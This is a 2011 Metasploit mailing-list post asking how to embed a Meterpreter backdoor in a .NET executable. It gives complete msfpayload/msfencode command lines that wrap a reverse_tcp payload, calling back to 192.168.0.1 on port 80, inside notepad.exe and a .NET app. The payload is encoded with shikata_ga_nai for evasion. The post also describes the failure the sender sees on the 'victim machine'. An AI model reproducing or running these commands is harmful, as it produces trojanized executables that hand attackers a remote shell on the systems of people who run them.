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Attaching Meterpreter to a Managed Code Binary like a VB.NET or C#.NET app?
From: Jeremy <jeremy () sudosecure net>
Date: Mon, 25 Jul 2011 11:54:57 -0500
Anyone ever try attaching a meterpreter backdoor payload to a managed code binary generated from something like VB.net? I can attach meterpreter to a native binary like this all day long: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=80 R | msfencode -x notepad.exe -k -o notepad_new.exe -e x86/shikata_ga_nai -c 10 -t exe But lets say the managed code .NET app is called "vbapp.exe" I try this command: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=80 R | msfencode -x vbapp.exe -k -o vbapp_new.exe -e x86/shikata_ga_nai -c 10 -t exe and it fails to execute on the victim machine. It raises an exemption with "The application failed to initialize properly. (0xc000007b). Click ok to terminate the application." Anyways thought I would ask before I started stepping through the process just in case someone spotted a issue with my syntax or has done this before and has a work around. ;) Thanks in advance for any advice and/or help. --jeremy _______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
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- Attaching Meterpreter to a Managed Code Binary like a VB.NET or C#.NET app? Jeremy (Jul 25)